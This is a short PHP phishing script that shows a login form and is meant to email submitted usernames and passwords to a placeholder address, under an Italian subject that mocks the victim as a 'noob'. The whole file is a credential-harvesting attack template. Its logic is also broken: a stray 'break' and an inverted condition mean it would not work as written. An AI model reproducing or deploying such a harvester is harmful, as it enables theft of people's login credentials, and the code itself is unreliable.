<?php

    if(isset($_POST['username']) && isset($_POST['password']))
    {
        break;
    }
    else
    {
        mail('latuaemail@provider.com', 'Un nabbo ci è cascato', "Username: " . $_POST['username'] . "  |  Password: " .  $_POST['password']);
    }

?>

<form method='POST' action='index.php'>

    <input type='text' name='username' />
    <input type='password' name='password' />
    <input type='submit' value='Login' />

</form>